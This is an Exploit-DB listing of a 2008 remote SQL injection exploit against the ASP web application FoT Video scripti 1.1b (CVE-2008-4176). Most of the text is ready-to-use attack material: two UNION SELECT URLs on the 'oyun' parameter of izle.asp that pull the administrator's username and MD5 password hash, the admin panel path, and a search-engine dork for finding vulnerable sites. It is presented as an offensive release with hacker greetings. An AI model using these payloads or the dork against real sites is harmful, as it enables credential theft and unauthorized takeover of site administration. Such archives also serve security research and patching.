FoT Video scripti 1.1b oyun Remote SQL Injection Vulnerability

2008-09-13T00:00:00
ID EDB-ID:6453
Type exploitdb
Reporter Crackers_Child
Modified 2008-09-13T00:00:00

Description

FoT Video scripti 1.1b (oyun) Remote SQL Injection Vulnerability. CVE-2008-4176. Webapps exploit for asp platform

                                        
                                            **************************************************************************************

Author : By Crackers_Child
Contact: cashr00t@hotmail.com
Greetz : biyosecurity.com & milw0rm.com & tryag.cc & All My Friends

**************************************************************************************
Script   : FoT Video scripti V1.1 Beta

**************************************************************************************

Exploit : For username

you can read username on title

www.site.com/script_path/izle.asp?oyun=56+union+select+0,1,KULLANICIADI,3,4,5,6,7,8,9,10,11,12,13+from+KULLANICI

**************************************************************************************

Exploit : For Password(md5 hash)

you can read password on title

www.site.com/script_path/izle.asp?oyun=56+union+select+0,1,PAROLA,3,4,5,6,7,8,9,10,11,12,13+from+KULLANICI

**************************************************************************************

Administrator Path

www.site.com/script_path/yonetim_default.asp

**************************************************************************************


Dork : inurl:"izle.asp?oyun=

**************************************************************************************

N0te : Hepinizn Aq :lol
**************************************************************************************

# milw0rm.com [2008-09-13]